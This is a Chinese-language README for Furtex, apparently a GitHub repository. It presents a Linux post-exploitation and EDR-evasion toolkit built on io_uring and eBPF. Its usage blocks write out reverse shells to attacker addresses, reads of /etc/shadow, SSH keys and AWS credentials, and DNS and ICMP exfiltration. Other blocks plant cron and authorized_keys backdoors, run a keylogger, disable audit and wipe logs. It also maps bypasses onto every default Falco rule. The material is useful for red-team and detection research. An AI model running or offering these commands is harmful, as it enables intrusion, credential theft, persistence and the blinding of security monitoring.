MatheuZSecurity/Furtex

GitHub: MatheuZSecurity/Furtex

基于 io_uring 和 eBPF 的 Linux 后渗透与检测规避研究工具包,通过原始 syscall 绕过 EDR hook、tracepoint 和 kprobe 等监控机制。

Stars: 117 | Forks: 15

# Furtex 用于 Linux 的后渗透与规避研究工具包,基于 io_uring 和 eBPF 构建。不依赖 liburing,不依赖任何框架,全程使用原始 syscall。 更多工具即将推出。欢迎提交 PR。 **仅供授权研究和红队演练使用。请勿在你不拥有的系统上运行。** ``` Furtex/ ├── io_uring/ raw io_uring ops: file, net, injection, exfil (13 tools) ├── bpf/ BPF map and program tooling (15 tools) ├── ebpf/ BPF-side programs and loaders (9 programs + 2 runners) ├── edrs/ EDR evasion and post-exploitation (75 tools) └── techniques/ Falco-specific bypass, all 25 default rules (13 tools) ``` ## 环境要求 **工具链** | 工具 | 用途 | |---|---| | `gcc` | 所有用户态二进制文件 | | `clang` | `ebpf/*.bpf.c` BPF 端程序 | | `make` | 构建系统 | **头文件和库** | 软件包 | 用途 | |---|---| | `linux-headers-$(uname -r)` | ``、`` 及相关内核头文件 | | `libbpf-dev` | `ebpf/` 程序中使用的 `` 等头文件 | | `bpftool` | 在 `ebpf/` 目录下通过 `make vmlinux` 生成 `vmlinux.h` | 在 Debian/Kali/Ubuntu 上: ``` sudo apt install gcc clang make linux-headers-$(uname -r) libbpf-dev bpftool ``` **内核版本** | 最低版本 | 解锁的功能 | |---|---| | 5.4 | io_uring 基础 (`IORING_FEAT_SINGLE_MMAP`、BPF map 迭代) | | 5.6 | `IORING_OP_OPENAT`、`IORING_OP_STATX`、`pidfd_getfd` (`pidfd_steal`) | | 5.8 | `CAP_BPF` + `CAP_PERFMON` 拆分(替代 BPF 的 `CAP_SYS_ADMIN`) | | 5.9 | `BPF_LINK_DETACH` (`bpf_link_detach`) | | 5.19 | `IORING_OP_SOCKET` (`af_packet_send`、`dns_exfil`、`xdp_socket_send`、`bpf_kprobe_bypass`) | **Capabilities** | capability | 需要该权限的工具 | |---|---| | `CAP_BPF`(或 5.8 之前的 `CAP_SYS_ADMIN`) | 所有 `bpf/` 工具,`ebpf/` 加载器 | | `CAP_PERFMON` | `ebpf/` tracepoint 和 kprobe 程序 | | `CAP_NET_RAW` | `icmp_tunnel`、`af_packet_shell`、`skf_c2_runner`、`icmp_trigger` | | `CAP_NET_ADMIN` | `xdp_socket_send`、`netfilter_flush` | | `CAP_AUDIT_CONTROL` | `audit_kill` | 内核必须启用 BTF (`CONFIG_DEBUG_INFO_BTF=y`) 才能运行 `make vmlinux` 为 `ebpf/` 程序生成头文件。 在带有较旧 libc-dev 头文件的发行版(如 Ubuntu 22.04 等)上,你可能需要 `#ifndef IORING_OP_SOCKET / #define IORING_OP_SOCKET 45`。本仓库已处理此问题。 ## 构建说明 | 命令 | 构建目标 | |---|---| | `make all` | 构建所有内容 | | `make uring` | 仅构建 io_uring/ | | `make bpf` | bpf/ 用户态工具 | | `make ebpf` | BPF 端程序(需要 clang + libbpf) | | `make edrs` | 所有 edrs/ 二进制文件 | | `make techniques` | Falco 绕过工具 | | `make clean` | 删除所有二进制文件 | `edrs/` 有自己的子 Makefile,包含约 75 个按权限划分的二进制文件: ``` cd edrs && make priv # root / CAP_* required cd edrs && make unpriv # no privileges needed ``` 完整细分请参见 [PRIVILEGES.md](PRIVILEGES.md)。 ## io_uring 绕过覆盖范围 io_uring SQE 会通过内核 workqueue。`io_uring_enter(2)` 从不调用 `sys_call_table`,从不触发 `sys_enter_*` tracepoint,也从不命中 `native_sys_call` 上的 livepatch。仅此一点,无需进行任何修改即可消除一大部分 EDR hook。 io_uring 本身可以绕过: | hook 点 | 说明 | |---|---| | `sys_call_table` 指针替换 | io_uring 从不经过 syscall table | | `native_sys_call` / `compat_sys_call` 上的 livepatch | 同上 | | `sys_enter_*` tracepoint | 走 workqueue 路径,不触发 tracepoint | io_uring 自身**无法**绕过(需要主动使用工具): | hook 点 | 使用工具 | 工具的作用 | |---|---|---| | `vfs_read`、`security_file_open` 等上的 kprobe | `ftrace_enum` | 移除 kprobe hook | | BPF LSM / KRSI | `bpf_link_detach` | 分离 BPF link | | Linux audit | `audit_kill` | 通过 NETLINK_AUDIT 禁用 auditd | | LD_PRELOAD / PLT-GOT 补丁 | `plt_unhook` | 移除用户态 hook | | netfilter OUTPUT / conntrack | `af_packet_shell` | 在第 2 层使用 AF_PACKET,跳过 netfilter | | `inet_stream_connect` hook | `udp_shell` | 使用 UDP,从不调用 tcp connect 路径 | ## io_uring/ `iouring_utils.h` 处理不依赖 liburing 的 ring 设置。 | 二进制文件 | 功能描述 | |---|---| | `file_read` | 通过 io_uring 执行 OPENAT+READ+CLOSE 链,无 sys_enter_read 事件 | | `file_write` | OPENAT+WRITE+CLOSE 链 | | `file_append` | 同 file_write,但使用 O_APPEND,offset 为 -1 | | `net_connect` | 在一个 ring 中完成 SOCKET+CONNECT+SEND+RECV | | `net_reverse_shell` | 通过 io_uring CONNECT 建立反弹 shell | | `multifile_read` | 在一个 SQE 批次中读取多达 64 个文件 | | `memfd_exec` | 通过 stdin 将 ELF 流式传输到 memfd,通过 /proc/self/fd 执行 execve | | `proc_inject` | 通过 /proc/PID/mem 进行 JIT 注入;ptrace 注入(--ptrace 标志) | | `pipe_splice` | 内核到内核的 SPLICE,用户态 hook 无法看到字节 | | `inotify_bypass_watch` | io_uring READ 不会引发 IN_ACCESS/IN_OPEN | | `dns_exfil` | 通过 io_uring SENDMSG 将数据十六进制编码为 DNS 查询标签 | | `af_packet_send` | 通过 AF_PACKET 发送原始 Ethernet 帧 (IORING_OP_SOCKET,绕过 inet 路径) | | `xdp_socket_send` | 通过 AF_XDP + UMEM ring 发送原始帧,完全绕过 netfilter | ``` ./io_uring/file_read /etc/shadow ./io_uring/file_write /etc/cron.d/x "* * * * * root /tmp/sh" ./io_uring/file_append /root/.ssh/authorized_keys "ssh-ed25519 AAAA..." ./io_uring/net_connect 10.0.0.1 4444 "ping" ./io_uring/net_reverse_shell 192.168.1.1 4444 ./io_uring/multifile_read /etc/passwd /etc/shadow /root/.ssh/id_rsa ~/.aws/credentials cat payload | ./io_uring/memfd_exec [args...] ./io_uring/pipe_splice /etc/shadow /tmp/out ./io_uring/inotify_bypass_watch /var/log/auth.log ./io_uring/dns_exfil 1.2.3.4 exfil.example.com /etc/shadow sudo ./io_uring/proc_inject sudo ./io_uring/proc_inject sudo ./io_uring/proc_inject sudo ./io_uring/proc_inject --ptrace sudo ./io_uring/af_packet_send eth0 08:00:27:aa:bb:cc ff:ff:ff:ff:ff:ff "payload" sudo ./io_uring/xdp_socket_send eth0 ``` ## bpf/ 大多数工具需要 `CAP_BPF`。`env_exfil` 可以在无权限下运行。`icmp_trigger` 需要 `CAP_NET_RAW` 而不是 `CAP_BPF`。 | 二进制文件 | 功能描述 | |---|---| | `map_recon` | 列出所有已加载的 BPF map | | `map_dumper` | 按 ID 导出 map 内容 | | `map_write` | 按 ID 更新 map 条目 | | `map_poison` | 将 payload 周围 Falco 的 `interesting_sys` 条目清零 | | `prog_recon` | 列出 BPF 程序:类型、名称、map 数量 | | `pid_allowlist` | 将 PID 插入 EDR 白名单 map | | `edr_fin` | 根据已知的 EDR 启发式规则对已加载的 BPF map/程序进行评分 | | `lsm_check` | 检测活动的 BPF LSM hook 并测试是否阻止了 map 写入 | | `bpf_persist` | 在 bpffs 上 pin/检索/unpin map 和程序 | | `map_snapshot` | 将 map 内容保存和恢复到二进制文件中 | | `env_exfil` | 读取 /proc/*/environ 获取敏感信息 | | `bpf_link_detach` | 枚举并分离 BPF link(移除 LSM hook) | | `link_update` | 将 BPF link 重定向到空操作程序(hook 保持可见,但不触发任何内容) | | `map_freeze` | 通过 `BPF_MAP_FREEZE` 将 BPF map 冻结为只读(写入返回 -EPERM) | | `icmp_trigger` | ICMP 魔术包后门;通过 socketpair 中继生成反弹 shell;伪装为 `kworker/u4:2` | ``` sudo ./bpf/map_recon sudo ./bpf/map_dumper 42 --ascii sudo ./bpf/map_write sudo ./bpf/prog_recon --maps --lsm-only sudo ./bpf/edr_fin sudo ./bpf/lsm_check sudo ./bpf/pid_allowlist [pid] sudo ./bpf/bpf_persist pin-map 42 /sys/fs/bpf/my_map sudo ./bpf/bpf_persist list /sys/fs/bpf sudo ./bpf/map_snapshot save snap.bin sudo ./bpf/map_snapshot restore snap.bin ./bpf/env_exfil --filter AWS sudo ./bpf/bpf_link_detach list --lsm-only sudo ./bpf/bpf_link_detach detach-lsm --dry-run sudo ./bpf/link_update sudo ./bpf/map_freeze sudo ./bpf/map_freeze --prog sudo ./bpf/icmp_trigger --daemon sudo ./bpf/icmp_trigger --send sudo ./bpf/map_poison -- ./io_uring/file_read /etc/shadow sudo ./bpf/map_poison -- ./io_uring/net_reverse_shell 10.0.0.1 4444 ``` ## ebpf/ 需要 clang + libbpf + vmlinux.h。在 `ebpf/` 中运行 `make vmlinux` 以从运行内核的 BTF 生成。 | 文件 | 功能描述 | |---|---| | `exec.bpf.c` | sys_enter_execve 上的 tracepoint | | `fentry_open.bpf.c` | sys_enter_openat 上的 tracepoint | | `creds.bpf.c` | 追踪凭证路径上的 openat+read | | `keylog.bpf.c` | input 事件 tracepoint,原始按键码捕获 | | `net.bpf.c` | sys_enter_connect 日志记录 | | `net_hide.bpf.c` | 对 /proc/net/tcp 和 /proc/net/udp 隐藏端口 | | `proc_hide.bpf.c` | 从 getdents64 输出中隐藏 PID | | `tty_sniff.bpf.c` | 捕获 stdin/stdout/stderr 的写入和读取 | | `skf_c2_runner.c` | 通过经典 BPF socket filter 进行 ICMP C2 | | `xdp_backdoor.bpf.c` + `xdp_handler.c` | 魔术 UDP 数据包上的 XDP 触发器 | ``` sudo ./bpf/map_write 5c11 01 sudo ./bpf/map_write d2040000 01 sudo ./ebpf/skf_c2_runner ping -p 4d41474900$(printf 'id' | xxd -p | tr -d '\n') -c1 sudo ./ebpf/xdp_handler echo -n 'MAGICid' | nc -u -q1 31337 ``` ## edrs/ | 二进制文件 | 需要 root | 技术 | |---|:---:|---| | `edr_recon` | 是 | 12 家厂商 EDR 探测器:进程、特征文件、模块、BPF、kprobe | | `bpf_prog_recon` | 是 | 枚举已加载的 BPF 程序、map 和 kprobe | | `bpf_map_wipe` | 是 | 清除 BPF map 条目 | | `bpf_detach_all` | 是 | 分离所有 BPF link | | `tetragon_blind` | 是 | 扫描、冻结、解冻、杀死或致盲 Tetragon/Falco 进程 | | `ftrace_enum` | 是 | 枚举并清除 kprobe/ftrace hook | | `lkm_unload` | 是 | 卸载内核模块 | | `lkm_inline_detect` | 是 | 检测内联内核 hook | | `perf_bpf_kill` | 是 | 枚举并杀死 Falco perf-event BPF 程序 | | `module_recon` | 是 | 枚举内核模块 | | `cgroup_freeze` | 是 | 通过 cgroup v2 冻结/解冻进程 | | `oom_cage` | 是 | 为自身或目标设置 oom_score_adj | | `sysctl_blind` | 是 | 读/写安全相关的 sysctl | | `audit_kill` | 是 | 通过 NETLINK_AUDIT 禁用/限制 Linux audit | | `inotify_exhaust` | 是 | 耗尽所有 inotify 监视 | | `netfilter_flush` | 是 | 刷新 netfilter 链 | | `dmesg_wipe` | 是 | 清除内核环形缓冲区 | | `ld_so_preload` | 是 | 操纵 /etc/ld.so.preload | | `proc_hide` | 是 | 通过 bind-mount 隐藏 /proc/PID | | `mount_over` | 是 | 在任意路径上进行 bind-mount | | `log_wipe` | 是 | 截断日志文件和 shell 历史记录 | | `elf_infect` | 是 | PT_NOTE 到 PT_LOAD 的寄生注入 | | `proc_mem_inject` | 是 | pwrite 写入 /proc/PID/mem,无需 ptrace attach | | `af_packet_shell` | 是 | 绕过 netfilter OUTPUT 的原始 Ethernet C2 | | `icmp_tunnel` | 是 | 通过 ICMP echo-request payload 渗透 | | `event_flood` | 是 | 在 payload 周围制造事件洪水以使监控器饱和 | | `livepatch_bypass` | 通过 io_uring 绕过 syscall dispatcher 上的 livepatch hook | 是 | | `livepatch_stack_blind` | 是 | 禁用 livepatch + BPF kprobe + netfilter hook 栈;通过 comm 欺骗卸载模块 | | `lsm_authlink_blind` | 是 | 禁用 LSM auth-link 流程,冻结或杀死认证代理,通过 inode 交换写入 | | `lsm_callback_bypass` | 是 | 通过 pidfd_getfd、process_writev、perf+BPF attach、新建 netns 绕过 LSM 回调 | | `bpf_fim_blind` | 是 | 冻结 BPF FIM 传感器,清除 ring-buffer map 条目,淹没 ringbuf | | `syscall_dispatch_bypass` | 是 | io_uring 文件/网络操作,绕过 syscall 分发上的 kprobe 和 livepatch do_syscall_64 | | `bpf_kprobe_bypass` | 是 | io_uring 文件/网络/exec 操作,绕过 __x64_sys_* kprobe 目标 | | `ptrace_inject_so` | 是 | 通过 ptrace + dlopen 将 .so 加载到活动进程 | | `uring_stealth` | 否 | 通过 io_uring 进行文件/网络操作,无 sys_enter_* 事件 | | `openat2_bypass` | 否 | 替代 syscall (openat2, copy_file_range) | | `ptrace_selfguard` | 否 | 通过守护进程阻止外部 ptrace | | `plt_unhook` | 否 | 通过 dlmopen 检测并绕过 PLT-GOT hook | | `fexecve_drop` | 否 | 将 ELF 写入 memfd,通过 /proc/self/fd 执行 execve | | `memfd_loader` | 否 | 通过 memfd 加载 .so,调用 constructor | | `memfd_userexec` | 否 | 将来自 stdin 的 ELF 写入 memfd,通过 /proc/self/fd 执行 execve | | `hollow_proc` | 否 | 进程镂空,在 ps 中显示诱饵名称 | | `argv_spoof` | 否 | 通过 prctl(PR_SET_NAME) 重命名 comm 并覆写 argv[0] | | `clone_netns` | 否 | 无特权的网络 namespace 执行 | | `ns_exec` | 否 | unshare user/pid/mount namespace | | `splice_c2` | 否 | 使用 splice(2) 进行数据传输的 TCP C2;send/recv hook 永不触发 | | `abstract_sock_c2` | 否 | 通过抽象 Unix socket 进行 C2 | | `udp_shell` | 否 | UDP 反弹 shell,绕过 inet_stream_connect | | `tls_shell` | 否 | 藏在伪造 TLS ClientHello 背后的反弹 shell | | `dns_exfil_raw` | 否 | 将数据十六进制编码为 DNS 查询标签 | | `pidfd_steal` | 否 | 通过 pidfd_getfd 从其他进程窃取打开的 fd | | `vma_hide` | 否 | RWX 到 PROT_NONE 循环,MADV_DONTDUMP,VMA 重命名 | | `coredump_block` | 否 | 通过 filter/dumpable/rlimit 阻止核心转储 | | `seccomp_notify` | 否 | 通过 SECCOMP_USER_NOTIF 拦截 syscall | | `ipc_covert` | 否 | 通过 POSIX mqueue 进行 C2 | | `shared_mem_c2` | 否 | 通过 POSIX shm 进行 C2,无网络流量 | | `pipe_exfil` | 否 | splice(2) 渗透,LD_PRELOAD hook 致盲 | | `proc_fd_scan` | 否 | 扫描 /proc/PID/fd 符号链接以查找敏感路径 | | `proc_vm_inject` | 否 | process_vm_writev,不打开 /proc/PID/fd | | `self_delete` | 否 | 运行时从磁盘删除自身二进制文件 | | `time_stomp` | 否 | 克隆/清零/设置 atime+mtime | | `userland_persist` | 否 | bashrc/crontab/autostart/authorized_keys | | `env_scrape` | 否 | 读取 /proc/*/environ 获取密钥和 SSH socket | | `anon_shellcode` | 否 | MAP_ANONYMOUS 中的 shellcode,无文件,无 execve | | `ld_preload_inject` | 否 | 投放 .so,通过 LD_PRELOAD 注入 | | `ssh_agent_hijack` | 否 | 与捕获的 socket 交互 agent 协议 | | `fanotify_bypass` | 否 | memfd/anon-mmap/devshm 以避开 fanotify 标记 | | `ringbuf_flood` | 否 | 使 BPF ringbuf 饱和以丢弃事件 | | `log_evasion` | 否 | io_uring 文件操作和 raw-syscall TCP shell,无 libc 封装 | | `syscalltable_bypass` | 否 | 通过 io_uring 绕过 sys_call_table 指针 hook | | `uring_recon_unpriv` | 否 | 通过 io_uring 读取凭据、密钥、连接 | | `fd_steal_read` | 否 | 通过 pidfd_getfd 窃取 fd,读取无需自身的 open() | | `mmap_read` | 否 | 通过 mmap 读取文件,无 read() syscall | | `scm_rights_exfil` | 否 | 通过 SCM_RIGHTS 传递 fd,读取无需自身的 open() | | `splice_read` | 否 | 通过 splice(2) 读取,无用户态缓冲区 | ``` sudo ./edrs/edr_recon sudo ./edrs/edr_recon procs arts mods sudo ./edrs/edr_recon progs maps sudo ./edrs/bpf_prog_recon --all sudo ./edrs/ftrace_enum list sudo ./edrs/module_recon list sudo ./edrs/perf_bpf_kill scan sudo ./edrs/sysctl_blind show sudo ./edrs/tetragon_blind scan sudo ./edrs/audit_kill disable sudo ./edrs/dmesg_wipe wipe sudo ./edrs/bpf_detach_all sudo ./edrs/ftrace_enum clear-kprobes sudo ./edrs/netfilter_flush sudo ./edrs/lkm_unload unload ./edrs/livepatch_bypass --read /etc/shadow ./edrs/uring_stealth cat /etc/shadow ./edrs/mmap_read /etc/shadow ./edrs/splice_read /etc/shadow ./edrs/plt_unhook read /etc/shadow ./edrs/openat2_bypass copy /etc/shadow /tmp/out cat payload | ./edrs/memfd_userexec [args...] cat payload | ./edrs/fanotify_bypass --memfd-exec ./edrs/anon_shellcode ./edrs/fexecve_drop - < payload sudo ./edrs/proc_mem_inject --inject ./edrs/proc_vm_inject ./edrs/ptrace_inject_so inject /tmp/payload.so ./edrs/userland_persist --lhost 10.0.0.1 --lport 4444 ./edrs/userland_persist --sshkey "ssh-ed25519 AAAA..." sudo ./edrs/livepatch_bypass --persist 192.168.1.1 4444 ./edrs/shared_mem_c2 --agent & ./edrs/shared_mem_c2 --ctrl --cmd "id" ./edrs/abstract_sock_c2 server & ./edrs/abstract_sock_c2 client ./edrs/udp_shell 192.168.1.1 4444 ./edrs/tls_shell 192.168.1.1 443 ./edrs/dns_exfil_raw str exfil.example.com "data" ./edrs/pipe_exfil --send /etc/shadow 192.168.1.1 9999 cat data | sudo ./edrs/icmp_tunnel 192.168.1.1 - SSH_AUTH_SOCK=/run/user/1000/ssh-agent.sock ./edrs/ssh_agent_hijack ./edrs/self_delete delete ./edrs/time_stomp clone /etc/passwd /tmp/target sudo ./edrs/log_wipe hist /home/kali ./edrs/event_flood 500 4 -- ./edrs/proc_mem_inject --inject ./edrs/ringbuf_flood --flood --threads 8 --sec 5 ./edrs/ns_exec user bash ./edrs/ns_exec full-hide bash ./edrs/clone_netns exec /bin/sh ./edrs/pidfd_steal scan ./edrs/pidfd_steal steal ./edrs/fd_steal_read ./edrs/fd_steal_read ``` ## techniques/ (Falco 绕过) 针对 Falco 的默认规则集(`modern_ebpf` 驱动,25 条规则)。首先运行 `edrs/edr_recon`。 绕过维度 A:阻止事件到达 Falco(io_uring 跳过 `sys_enter_*`,排空 ringbuf 静默丢弃事件)。 绕过维度 B:事件到达 Falco 但规则条件不匹配(proc.name 欺骗、路径转移、交替标志)。 | 工具 | 维度 | Falco 规则 | |---|:---:|---| | `uring_ops` | A | 1 2 3 7 9 10 12 13 14 15 18 21 | | `ringbuf_overflow` | A | 全部 | | `rule_evade` | B | 3 5 6 17 | | `kmod_unload` | A | 全部 | | `proc_ghost` | A/B | 22 23 25 | | `exe_from_memfd_bypass` | B | 25 | | `event_storm` | A | 全部 | | `proc_masquerade` | B | 3 4 5 8 17 | | `ns_pivot` | B | 6 14 | | `cgroup_escape` | A | 18 | | `bypass_file_rules` | B | 1 2 3 9 10 11 12 13 21 | | `bypass_proc_rules` | B | 4 6 8 15 17 18 19 20 22 23 24 | | `per_rule_bypass` | A/B | 所有 25 条 | ``` ./techniques/uring_ops cat /etc/shadow ./techniques/uring_ops creds ./techniques/uring_ops write /etc/cron.d/x "* * * * * root /tmp/sh" ./techniques/uring_ops shell 10.0.0.1 4444 ./techniques/uring_ops chain /etc/shadow 10.0.0.1 9999 sudo ./techniques/ringbuf_overflow find sudo ./techniques/ringbuf_overflow drain ./techniques/ringbuf_overflow flood 16 10 ./techniques/rule_evade name-spoof ./techniques/rule_evade path-pivot ./techniques/rule_evade all sudo ./techniques/kmod_unload list sudo ./techniques/kmod_unload unload ./techniques/proc_ghost ghost-elf /bin/ls ./techniques/proc_ghost ghost-sc ./techniques/exe_from_memfd_bypass info ./techniques/exe_from_memfd_bypass sc ./techniques/exe_from_memfd_bypass shm-exec ./techniques/exe_from_memfd_bypass dlopen ./techniques/event_storm mixed-storm 16 10 ./techniques/event_storm snipe "cat /etc/shadow" ./techniques/proc_masquerade setname sshd ./techniques/proc_masquerade fakeparent sshd ./techniques/proc_masquerade clone-parent sshd ./techniques/ns_pivot net-new ./techniques/ns_pivot userns-shell ./techniques/cgroup_escape check ./techniques/cgroup_escape proof ./techniques/cgroup_escape shell 10.0.0.1 4444 ./techniques/bypass_file_rules read-masked /etc/shadow ./techniques/bypass_file_rules log-clear /var/log/auth.log ./techniques/bypass_file_rules grep-bypass /home "PRIVATE" ./techniques/bypass_proc_rules reverse-shell 10.0.0.1 4444 ./techniques/bypass_proc_rules anti-debug ./techniques/bypass_proc_rules proc-inject ./techniques/per_rule_bypass list ./techniques/per_rule_bypass sensitive-read /etc/shadow ./techniques/per_rule_bypass exec-proc /tmp/elf ./techniques/per_rule_bypass clear-log /var/log/auth.log ``` | 规则 | 绕过方式 | 工具 | |---|---|---| | 1 监控目录遍历文件读取 | io_uring OPENAT | `uring_ops cat`, `per_rule_bypass dir-traversal` | | 3 非授信读取敏感文件 | io_uring 或 prctl | `uring_ops creds`, `bypass_file_rules read-masked` | | 4 非授信运行 shell | 使用 python3/perl 替代 sh | `rule_evade unusual-shell` | | 6 容器内的终端 shell | setsid, proc.tty=0 | `bypass_proc_rules shell-notty` | | 7 连接 K8S API Server | io_uring CONNECT | `uring_ops shell`, `per_rule_bypass k8s-connect` | | 8 Netcat RCE | C 二进制文件, proc.name != nc/ncat | `bypass_proc_rules reverse-shell` | | 9 搜索私钥 | 在 C 中 open+read,无 grep/find | `bypass_file_rules grep-bypass` | | 10 清除日志活动 | 无 O_TRUNC 的 ftruncate | `bypass_file_rules log-clear` | | 11 删除批量数据 | write 循环,无 shred/mkfs | `bypass_file_rules wipe` | | 15 重定向 STDOUT/STDIN 到网络 | 使用 fcntl F_DUPFD 替代 dup2 | `bypass_proc_rules reverse-shell` | | 18 检测 release_agent 逃逸 | io_uring OPENAT+WRITE 到 release_agent | `cgroup_escape proof/shell`, `uring_ops write` | | 19 PTRACE 附加到进程 | /proc/PID/mem 或 process_vm_writev | `bypass_proc_rules proc-inject` | | 20 PTRACE 反调试尝试 | 通过 /proc/self/status 检查 TracerPid | `bypass_proc_rules anti-debug` | | 22 从 /dev/shm 执行 | 改为从 /run/user/uid/ 执行 | `bypass_proc_rules run-safe` | | 25 通过 memfd_create 实现无文件执行 | 通过 mmap 执行 shellcode,无 execve | `exe_from_memfd_bypass sc`, `proc_ghost ghost-sc` | | 全部 | 排空 ringbuf 或移除 scap.ko | `ringbuf_overflow`, `kmod_unload` | ## 法律声明 本项目严格仅供安全研究、授权渗透测试、CTF 竞赛和防御性工具开发使用。此处演示的所有技术均记录在公开的安全研究和内核文档中。 **请勿针对你不拥有或未获得明确书面授权测试的系统使用此工具包。** 未经授权的使用可能会违反《计算机欺诈和滥用法》(CFAA)、欧盟《关于攻击信息系统的指令》以及你所在司法管辖区的同等法律。 作者对滥用行为不承担任何责任。使用本软件即表示你同意自行负责遵守适用的法律。
标签:DNS 反向解析, Docker镜像, EDR绕过, HTTP工具, io_uring, 子域名变形, 客户端加密, 高交互蜜罐